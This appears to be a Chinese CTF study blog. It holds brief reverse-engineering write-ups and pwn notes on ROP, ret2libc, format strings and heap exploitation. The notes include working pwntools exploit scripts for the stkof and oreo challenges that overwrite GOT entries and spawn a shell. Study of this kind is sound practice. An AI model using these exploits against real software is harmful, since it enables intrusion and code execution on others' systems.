如图，这个hello world 非常可疑，可能就是flag

str2就是flag，但是有个if函数将所有的o改成了0

reverse 2

首先f5查看伪代码

阅读可知flag中的i和r都被依次替换为了1

内涵的软件

这东西看上去就像是flag的样子，去试了试base64和md5都不对，没想到

flag竟然就是flag{49d3c93df25caad81232130f3d2ebfad}。

好像没什么内涵嘛 ？_？

JDCTF

这题挺简单的，与上题差不多。

直接放进ida里找字符串。

helloworld

用jbe打开后寻找flag字符串，就可以了

不一样的flag

puts(1 up)

puts(2 down)

puts(3 left)

printf(4 right)

1 2 3 4 依次控制上下左右。

那么这个字符串就是迷宫了

既然是25个数就猜测他是 5x5 的迷宫吧^_^

所以 222441144222 就可以了

ida调试快捷键

一字节等于8位或者说8比特

2字节==16位

1字长32位PC的字长是32bit，现在开始成为主流的64位CPU字长是64bit，手机上使用较多的ARM处理器大多数是32位

传参

64位： 当参数少于7个时， 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9

32位： 用栈传参

常用寄存器

和8086稍有区别，具体如下

常用指令

调试

context.log_level='debug'gdb.attach(io)io.send(p)gdb.attach(p,'b *0x8048600')利用gdb动调，在0x8048600处下了个断点

ROPgadget

ROPgadget --binary ret2syscall --only "pop|ret"

LibcSearcher

libc = LibcSearcher("gets",gets_real_addr)libcbase = gets_real_addr – obj.dump("fgets")system_addr = libcbase + obj.dump("system")            #system 偏移bin_sh_addr = libcbase + obj.dump("str_bin_sh")         #/bin/sh 偏移

关闭所以防护编译

gcc tar.c -z execstack -fno-stack-protector -no-pie -z norelro -o tar-fPIC

生成shellcode

shellcode = asm(shellcraft.sh())

linux自带工具（搜索函数）：

cd xxxstrings xxx

输出xxx文件中所有可打印字符
strings -t x libc-2.19.so | grep /bin/sh

strings xxx | grep /bin/sh

若有则打印bin/sh字符
查看内存

vmmap 

​
查看xxx使用的libc路径及其版本

ldd xxx

查看栈中内容

stack 300

查看寄存器

p /x $rbp

更改换行符

dos2unix myexp.py

查看栈值

x /40gx $rsp

​
40代表是显示数目

​
g代表是8bit显示，x以16进制显示

​
第一个x代表查看内存

libc_base = int(io.recvuntil(b”\n”,dorp = true),16) - libc.symbols[“puts”]

int ： 将收到的 16 进制字符串转换成整数
dorp = true 是否丢弃掉\n字符，（是）

cyclic(60)

生产60字节的垃圾数据

shellcode = asm(shellcraft.sh())

生成shellcode

格式化字符串的任意地址值的修改

payload = fmtstr_payload(12,{0x804a048:0x02223322})
fmtstr_payload(offset,{addr:number})

ubuntu ios 镜像文件下载

http://mirrors.aliyun.com/ubuntu-releases/

安装VMware tools

安装失败

进入vmware-tools-distrib/bin, 执行sudo ./vmware-uninstall-tools.pl, （网上有些资料说还需要rm -rf /usr/lib/VMware， 不过我在/usr/lib下已经找不到相关文件了）

回到vmware-tools-distrib， 重新执行sudo ./vmware-install.pl ， 一路回车

reboot， 解决！！

无法拖拽

执行

apt-get install open-vm-tools-desktop fuse

以安装open-vm-tools

DynELF模块的使用

def leak(address):    payload='A'*junk+p32(write_plt)+p32(func_addr)+p32(1)+p32(address)+p32(4)    #junk是溢出需要的字节，利用pwndbg中的cyclic可以计算出    #write(1,address,4)表示将address向外写    r.send(payload)    data = r.recv(4)    print(data)    return datadyn=DynELF(leak,elf=ELF('./pwn200'))#调用DynELFsys_addr = dyn.lookup('system',libc)print('system address:',hex(sys_addr))

ret2syscall

系统调用（x86）
mov eax , 0xb #系统调用号
mov ebx , [“/bin/sh”]
mov ecx , 0 #参数
mov edx , 0
int 0x80 #中断号

=> execve(“/bin/sh”,NULL,NULL)

ROPgadget –binary ret2syscall –only “pop|ret”

ret 就是pop eip ; esp-2 #b站大学 p3 150 左右

小端序 与 大端序

小端序 ：

重要寄存器功能：

RIP
*存放当前指令的地址

RSP
*存放当前栈帧的栈顶地址

RBP
*存放当前栈帧的栈底地址

RAX
*同用寄，存放函数存器返回值

#报错

##UnicodeDecodeError: ‘ascii’ codec can’t decode byte 0xe6 in position 36: ordinal not

UnicodeDecodeError: ‘ascii’ codec can’t decode byte 0xe6 in position 36: ordinal not in range(128)

原因是：python的str默认是ascii编码，和unicode编码冲突，就会报这个标题错误

解决的办法是，在开头添加如下代码：

import sysreload(sys)sys.setdefaultencoding('utf8')

Ret2libc

system_elf = elf.plt[“system”]

linux自带工具（搜索函数）：

cd xxx
strings xxx

输出xxx文件中所有可打印字符

string xxx | grep /bin/sh

若有则打印bin/sh字符

如下图，连续调用函数时栈 的结构

system 执行时找到上两个字作为参数（bin/sh）
然后pop bin/sh ， return

在执行puts函数，上两字寻找参数“hello world”
然后pop_ret

最后执行exit 函数，同上

libc.symbols[“system”] - libc.symblos[“puts”]

sendlineafter(b”:”,str(elf.got[“puts”]))

sh.recv(numb = 2048, timeout = dufault) 接受数据，numb指定接收的字节，timeout指定超时
sh.recvline(keepends=True) 接受一行数据，keepends为是否保留行尾的\n

接收到：后，将puts函数的got表地址以字符串形式发送

recvuntil（b”:”）

接收直到：

libc_base = int(io.recvuntil(b”\n”,dorp = true),16) - libc.symbols[“puts”]

int ： 将收到的 16 进制字符串转换成整数
dorp = true 是否丢弃掉\n字符，（是）

cyclic(60)

生产60字节的垃圾数据

shellcode = asm(shellcraft.sh())

生成shellcode

e = ELF(‘/bin/cat’)
print hex(e.address) # 文件装载的基地址
0x400000

print hex(e.symbols[‘write’]) # 函数地址
0x401680

print hex(e.got[‘write’]) # GOT表的地址
0x60b070

print hex(e.plt[‘write’]) # PLT的地址
0x401680

print hex(e.search(‘/bin/sh’).next())# 字符串/bin/sh的地址

gdb.attach(sh) ———-v

sh.send(p) ——–>启动gdb调试

vmmap

查看内存

ldd xxx

查看xxx使用的libc路径及其版本

stack 300

查看栈中内容

docker

换源

https://developer.aliyun.com/mirror/?spm=a2c6h.13651104.0.d1002.7711506fiiugWK

sudo apt update
sudo apt upgrade

在etc/docker下修改docker镜像源，如果没有 daemon.json就新建添加以下内容：

{  "registry-mirrors": ["http://hub-mirror.c.163.com"]}# 也可以添加多个国内源{"registry-mirrors": ["http://hub-mirror.c.163.com", "https://registry.docker-cn.com"]}pip install docker-composedocker-compose up -ddocker-compose build

查看

docker images -adocker ps -a

docker images -q redis会输出所有仓库名为redis的镜像id，所以如果想要删除所有仓库名为redis的镜像，可以这么写：

docker rmi $(docker images –q redis)

如果想要删除所有镜像，可以这么写：

docker rmi $(docker images –qa)

pwn_deploy_chroot-master
https://github.com/giantbranch/pwn_deploy_chroot

如何使用1. Put your pwn program to ./bin （Note that the filename should not contain special characters.）2. python initialize.py3. docker-compose up --build -d     # please run as root您可以编辑 config.py 以决定是否将 /bin/sh 替换为 catflag# Whether to replace /bin/sh## replaceREPLACE_BINSH = True## not replace(default)REPLACE_BINSH = False

格式化字符串漏洞

%100$p

$p

打印栈中保存的内容

%s

将栈中数据解析为地址，打印地址所对应的数据

%n

写入前方打印成功的字符的个数

堆栈图入下

ubuntu根目录下空间不足，syslog占用很大空间

查看当前系统内存情况

df -h

查看当前目录下所有木有资源占用情况

du -sh *

syslog占用很大空间，可以清空

cat /dev/null > /var/log/syslog

堆

当申请的堆较小时，直接在data段申请一段空间。

当申请的堆较大时，则在mmap段申请一段空间

清除缓冲区

setbuf(stdout,0)

chunk

是内存分配的基本单位

只会分配字长整数倍的chunk(会自动补齐)

int* p = malloc(0x100) 实际消耗0x110,因为需要两个控制字段。

malloc chunk

size的后3 Bity存储控制信息

|A|M|P|

prev size 用于存储上一个free chunk大小

size 用于存储自身控制字段和数据字段大小

p = 0 表示为free chunk

p = 1 表示非free chunk

特殊的是 ， fast chunk的p总是为1 ， 并且不会合并。

free chunk 的合并

当下一个chunk发现上一个chunk也是free_chunk时，两个chunk将被合并，size变为两个chunk的总和

但是数据仍在原地，结构如图

当堆较小时，堆就在data和bss段的高地址

逻辑链表

fasebins 按照堆的大小分配bin

而每个链表由指针链接形成链表

由fd指针指向下一个chunk

###bin双向链表

bin也是栈的结构

由fd指针指向下一个chunk

由bk指针指向上一个chunk

每个chunk相互链接形成双向链表

double_free 漏洞

int* p = malloc(0x300) ;int* q = malloc(0x200) ;free(q);free(p);free(q);

可利用函数

##fmtstr_payload

fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')

第一个参数表示格式化字符串的偏移；

第二个参数表示需要利用%n写入的数据，采用字典形式，我们要将printf的GOT数据改为system函数地址，就写成{printfGOT: systemAddress}

第三个参数表示已经输出的字符个数，若没有，为0，采用默认值即可；

第四个参数表示写入方式，是按字节（byte）、按双字节（short）还是按四字节（int），对应着hhn、hn和n，默认值是byte，即按hhn写。

fmtstr_payload函数返回的就是payload

##mprotect

mprotect(void *addr, size_t len, int prot)

利用vmmap命令在gdb中找到可以修改的段

int mprotect(void *addr, size_t len, int prot);

addr：修改保护属性区域的起始地址，addr必须是一个内存页的起始地址，简而言之为页大小（一般是 4KB == 4096字节）整数倍。

len：被修改保护属性区域的长度,最好为页大小整数倍。修改区域范围[addr, addr+len-1]。
prot：可以取以下几个值，并可以用“|”将几个属性结合起来使用：

1）PROT_READ：内存段可读；

2）PROT_WRITE：内存段可写；

3）PROT_EXEC：内存段可执行；

4）PROT_NONE：内存段不可访问。

返回值：0；成功，-1；失败（并且errno被设置）

1）EACCES：无法设置内存段的保护属性。当通过 mmap(2) 映射一个文件为只读权限时，接着使用 mprotect() 标志为 PROT_WRITE这种情况就会发生。

2）EINVAL：addr不是有效指针，或者不是系统页大小的倍数。

3）ENOMEM：内核内部的结构体无法分配。

unlink

利用Unlink机制，向unsortedbin中写入chunk，从而达到攻击效果。这里以ctf-wiki 的例题作为理解。

context.terminal = ['gnome-terminal', '-x', 'sh', '-c']if args['DEBUG']:    context.log_level = 'debug'context.binary = "./stkof"stkof = ELF('./stkof')if args['REMOTE']:    p = remote('127.0.0.1', 7777)else:    p = process("./stkof")log.info('PID: ' + str(proc.pidof(p)[0]))libc = ELF('./libc.so.6')head = 0x602140def alloc(size):    p.sendline('1')    p.sendline(str(size))    p.recvuntil('OK\n')

​
def edit(idx, size, content):
p.sendline(‘2’)
p.sendline(str(idx))
p.sendline(str(size))
p.send(content)
p.recvuntil(‘OK\n’)

​
def free(idx):
p.sendline(‘3’)
p.sendline(str(idx))

​
def exp():
# trigger to malloc buffer for io function
alloc(0x100) # idx 1
# begin
alloc(0x30) # idx 2
# small chunk size in order to trigger unlink
alloc(0x80) # idx 3
# a fake chunk at global[2]=head+16 who’s size is 0x20
payload = p64(0) #prev_size
payload += p64(0x20) #size
payload += p64(head + 16 - 0x18) #fd
payload += p64(head + 16 - 0x10) #bk
payload += p64(0x20) # next chunk’s prev_size bypass the check
payload = payload.ljust(0x30, ‘a’)

# overwrite global[3]'s chunk's prev_size# make it believe that prev chunk is at global[2]payload += p64(0x30)# make it believe that prev chunk is freepayload += p64(0x90)edit(2, len(payload), payload)# unlink fake chunk, so global[2] =&(global[2])-0x18=head-8free(3)p.recvuntil('OK\n')# overwrite global[0] = free@got, global[1]=puts@got, global[2]=atoi@gotpayload = 'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(    stkof.got['atoi'])edit(2, len(payload), payload)# edit free@got to puts@pltpayload = p64(stkof.plt['puts'])edit(0, len(payload), payload)# free global[1] to leak puts addrfree(1)puts_addr = p.recvuntil('\nOK\n', drop=True).ljust(8, '\x00')puts_addr = u64(puts_addr)log.success('puts addr: ' + hex(puts_addr))libc_base = puts_addr - libc.symbols['puts']binsh_addr = libc_base + next(libc.search('/bin/sh'))system_addr = libc_base + libc.symbols['system']log.success('libc base: ' + hex(libc_base))log.success('/bin/sh addr: ' + hex(binsh_addr))log.success('system addr: ' + hex(system_addr))# modify atoi@got to system addrpayload = p64(system_addr)edit(2, len(payload), payload)p.send(p64(binsh_addr))p.interactive()

​
if name == “main“:
exp()

首先构造堆如图所示

那么在unsortedbin中则会出现0x6002270-0x18 的chunk，我们通过修改一些chunk为函数来实现其调用。

payload = 'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(stkof.got['atoi'])edit(2, len(payload), payload)

例如上一句，向bin中写入了各个函数地址作为chunk地址。

payload = p64(stkof.plt['puts'])edit(0, len(payload), payload)

接着，覆盖free的地址为puts，实现泄露。

如法炮制，实现system函数的调用。

也可以将free改为system，在chunk[3]中写入”bin/sh\0x00”,最后free(3)也可以实现getshell

fastbin_attack

fastbin_attach 其基础攻击手段如下：

double_free

1.fastbin 的堆块被释放后 next_chunk 的 pre_inuse 位不会被清空

2.fastbin 在执行 free 的时候仅验证了 main_arena 直接指向的块，即链表指针头部的块。对于链表后面的块，并没有进行验证。

我们可以构造如下的结构来实现任意地址写的功能

House of Spirit

该技术的核心在于在目标位置处伪造 fastbin chunk，并将其释放，从而达到分配指定地址的 chunk 的目的。

但是想要成功链接fack_chunk需要如下条件

fack_chunk 的ISMMAP位不能为1，因为free时mmap的chunk，会单独处理

fack_chunk 的地址需要对齐，MALLOC_ALIGN_MASK

fack_chunk 的size大小需要满足相应fastbin，同时也应对齐

fack_chunk 的next_chunk大小不可越界。即不能小于 2 * SIZE_SZ，同时也不能大于av->system_mem

fake chunk 对应的 fastbin 链表头部不能是该 fake chunk，即不能构成 double free 的情况

Alloc to Stack && Arbitrary Alloc

分别是将堆分配到栈，或者是任意地址

alloc to stack 可以覆盖栈的返回地址来劫持执行流

arbirtary alloc 可以使用字节错位来实现直接分配 fastbin 到_malloc_hook 的位置，相当于覆盖_malloc_hook 来控制程序流程。（这个我暂时也不懂）

下面就用一道题来实际演示下

2014 hack.lu oreo 题目链接

1.利用堆溢出漏洞，泄露free_got 的地址（那么哪里才能买到呢？）

我们先free掉任意一个chunk，因为libc的延迟绑定机制，现在我们将free_got写入next_chunk中，然后 show 来泄露got表地址

2.因为 ++rifle_cnt 语句 会记录创建的chunk的个数，因此可以为攻击准备环境。

再向message写入payload，准备如下条件来绕过检测

payload = b'a'*0x1c + b'\x00'*4 + b'A'*4 + p32(100)           #padding + last_chunk + pre_size + size

现在我们实现了任意地址写入的功能

3.get_shell

我们修改某函数的got表指针为libc.symbols[‘system’]函数的地址，利用fget函数写入，并执行该函数，就可以get_shell。

exp如下
#! /usr/bin/python3
from pwn import *
io = process(‘./oreo’)
elf=ELF(‘./oreo’)
context.log_level=’debug’
libc = ELF(‘libc.so.6’)

def add (name,des):    io.sendline('1')    #io.recvuntil('Rifle name: ')    io.sendline(name)    #io.recvuntil('Rifle description: ')    io.sendline(des)def show ():    io.sendline('2')def order ():    io.sendline('3')def message (notice):    io.sendline('4')    #io.recvuntil('order: ')    io.sendline(notice)

​
#1 — leak the libcbase
add(b’a’,b’b’)
order()
free_got = elf.got[‘free’]
add(b’a’*27+p32(free_got) , b’b’*25)
show()
io.recvuntil(‘Description: ‘)
io.recvuntil(‘Description: ‘)
free_addr = u32(io.recv(4).ljust(4,b’\x00’))
print (“free_addr=” , hex(free_addr))
libc_base = free_addr - libc.sym[‘free’]
system_addr = libc_base + libc.sym[‘system’]
print (“system_addr”, hex(system_addr))

#2 --- malloc to bssfor i in range(0x40-2-1):    add(b'a'*27+p32(0),str(i))message_addr = 0x0804A2A8add(b'a'*26+b'A'+p32(message_addr) , b'b') #write from A8 , message from ccpayload = b'a'*0x1c + b'\x00'*4 + b'A'*4 + p32(100)           #padding + last_chunk + pre_size + sizemessage(payload)    #from c0order()io.recvuntil('Okay order submitted!')#get_shellpayload = p32(elf.got['strlen'])#gdb.attach(cn)add('b',payload)   # 0x40: 0x804a2a0 —▸ 0x863c390 ◂— 0x0gdb.attach(cn)message(p32(system_addr)+ b';/bin/sh\x00')  #0x804a2a0

​
​
gdb.attach(io)
io.interactive()

mips

安装命令

apt-get install emdebian-archive-keyring

apt install gcc-mips-linux-gnu

使用apt安装时报错

E: Could not get lock /var/lib/dpkg/lock-frontend - open (11: Resource temporarily unavailable)
E: Unable to acquire the dpkg frontend lock (/var/lib/dpkg/lock-frontend), is another process using it?

解决方案：
方案一：

sudo killall apt apt-get

如果提示没有apt进程：

apt: no process found
apt-get: no process found

往下看方案二
方案二：
依次执行：

sudo rm /var/lib/apt/lists/lock
sudo rm /var/cache/apt/archives/lock
sudo rm /var/lib/dpkg/lock*
sudo dpkg –configure -a
sudo apt update

完成！

编译命令

mips-linux-gnu-gcc [xxx.c] -static -o [xxxx]

写入字符引发溢出

python -c “print ‘A’*200” > passwd

  if (__glibc_unlikely (chunksize(p) != prevsize))    malloc_printerr ("corrupted size vs. prev_size while consolidating");

/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr (“corrupted size vs. prev_size while consolidating”);
unlink_chunk (av, p);
}

// fd bkif (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      \  malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \

也就是说上一chunk的size必须要与该chunk的prevsize一致并且还要通过unlink的检测。

所以fake_chunk必须可以控制其size,fd,bk使其 FD->bk == p ; BK->fd == p 。 之后通过溢出修改某一chunk(D)的prevsize和inuse位为\x00 ，此时free(D)与p 形成合并，p与其FD,BK进行unlink操作。即可形成overloap

以Balsn_CTF_2019-PlainText举例：

   for i in range(16):      add(0x10,'fill')   for i in range(16):      add(0x60,'fill')   for i in range(9):      add(0x70,'fill')   for i in range(5):      add(0xC0,'fill')   for i in range(2):      add(0xE0,'fill')   add(0x170,'fill')   add(0x190,'fill')# 49   add(0xa9D0,'addralign') # 50

1.准备

如果bin里有堆，最好把他申请出来，然后申请到合适的chunk大小使得下一chunk的地址的后16位为\x00 (实际远程时无法控制低4位的大小，需要进行爆破，有1/16的概率)

2.布局

   add(0x28,p64(0) + p64(0x241) + b'\x28') # 53 fd->bk : 0xA0 - 0x18   add(0x28,'pass-loss control') # 54   add(0xF8,'pass') # 55   add(0x28,'pass') # 56   add(0x28,'pass') # 57   add(0x28,'pass') # 58   add(0x28,'pass') # 59   add(0x28,'pass-loss control') # 60   add(0x4F8,'to be off-by-null') # 61  0250

其中\x28是p->fd , 0x241是p(fake_chunk的size)之后也会以这个大小与 chunk61 来合并.

3.修复fd

此时BK->fd还没有修复好，为了在修复的同时不破坏掉size，需要把它放入fastbin.同时为了利用地址信息需要把 B , C , A 依次free掉

所以，需要先将Tcache 填满 ， 然后依次 free chunk B C A ，清空Tcache ，申请回chunk(A)，复写fd,使其指向p (BK-fd构造完成)

然后由于 Tcache 的 stash 机制，chunk B C 进入 Tcache，再申请回来的就是 chunk B，部分覆写使 fd 指向 fake_chunk。(FD->bk构造完成)

   for i in range(7):      add(0x28,'tcache')   for i in range(7):      delete(61 + 1 + i)   delete(54)     #b  0040   delete(60)     #c  0230   delete(53)     #a  0000   #a->c->b   for i in range(7):      add(0x28,'tcache')# 53,54,60,62,63,64,65   add(0x28,'\x10') # 53->66  a## stashed ##   add(0x28,'\x10') # 54->67  b   add(0x28,b'a' * 0x20 + p64(0x240)) # 60->68  c   0220   gdb.attach(io)   delete(61)  #d

4.泄露

delete(61) #d 后形成了overloap

利用堆重叠进行泄露

add(0x140,'pass') # 61show(56)libc_base = u64(sh.recv(6).ljust(0x8,'\x00')) - libc.sym["__malloc_hook"] - 0x10 - 0x60log.success("libc_base:" + hex(libc_base))__free_hook_addr = libc_base + libc.sym["__free_hook"]add(0x28,'pass') # 69<-56add(0x28,'pass') # 70<-57delete(70)delete(69)show(56)heap_base = u64(sh.recv(6).ljust(0x8,'\x00')) - 0x1A0log.success("heap_base:" + hex(heap_base))

Quick Start

Create a new post

1

$ hexo new "My New Post"

More info: Writing

Run server

1

$ hexo server

More info: Server

Generate static files

1

$ hexo generate

More info: Generating

Deploy to remote sites

1

$ hexo deploy

More info: Deployment